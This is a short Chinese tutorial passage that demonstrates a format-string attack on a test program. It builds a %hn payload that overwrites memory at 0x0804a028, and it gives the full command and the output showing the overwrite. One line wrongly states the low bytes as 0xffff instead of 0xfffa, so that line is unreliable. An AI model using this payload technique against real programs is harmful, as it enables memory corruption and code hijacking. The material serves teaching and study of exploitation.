将 0xbffffffa 写入内存 0x0804a028 地址,首先把值拆分:
两个高位字节(HOB): 0xbfff
两个低位字节(LOB): 0xffff
然后通过魔术计算公式构造一个格式化字符串:
"\x2a\xa0\x04\x08\x28\xa0\x04\x08 %.49143x%4\$hn%.16379x%5\$hn"
# ./fmttest `printf "\x2a\xa0\x04\x08\x28\xa0\x04\x08"`%.49143x%4\$hn%.16379x%5\$hn
(这里省略一大堆输出)
Canary at 0x0804a028 = 0xbffffffa
示例成功的将canary的内容改为0xbffffffa 。
构建示例所用的公式请对照下图(魔术公式表):
参考:http://www.jianshu.com/p/f2acfeb66b6c
书籍:
Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed.
Hacking, The Art of Exploitation. 2nd Ed.